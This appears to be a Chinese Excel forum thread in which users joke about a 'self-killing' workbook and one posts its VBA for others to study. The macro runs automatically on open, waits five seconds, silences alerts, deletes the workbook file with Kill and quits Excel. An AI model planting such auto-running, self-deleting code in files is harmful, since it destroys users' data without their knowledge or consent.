[已解决]自杀

半个城市

{:1712:}体验了一下自杀，原来是这样的哇

tony3

太牛B了，我还没有反应，文件关了，文件消失了。

这不叫自杀，自杀还有尸体，这个尸体都没有。。。



抢着把VBA复制出来了，大家一起研究一下。


Sub auto_open()
Call runtimer '打开文档时自动运行
End Sub
Sub runtimer()
  Application.OnTime Now + TimeValue("00:00:05"), "saveit"
' Now + TimeValue("00:00:55") 指定在当前时间过05秒开始运行 Saveit 这个过程。
End Sub
Sub SaveIt()
  Application.DisplayAlerts = False
  ActiveWorkbook.ChangeFileAccess xlReadOnly
  Kill ActiveWorkbook.FullName
  Application.Quit
'ThisWorkbook.Close False
End Sub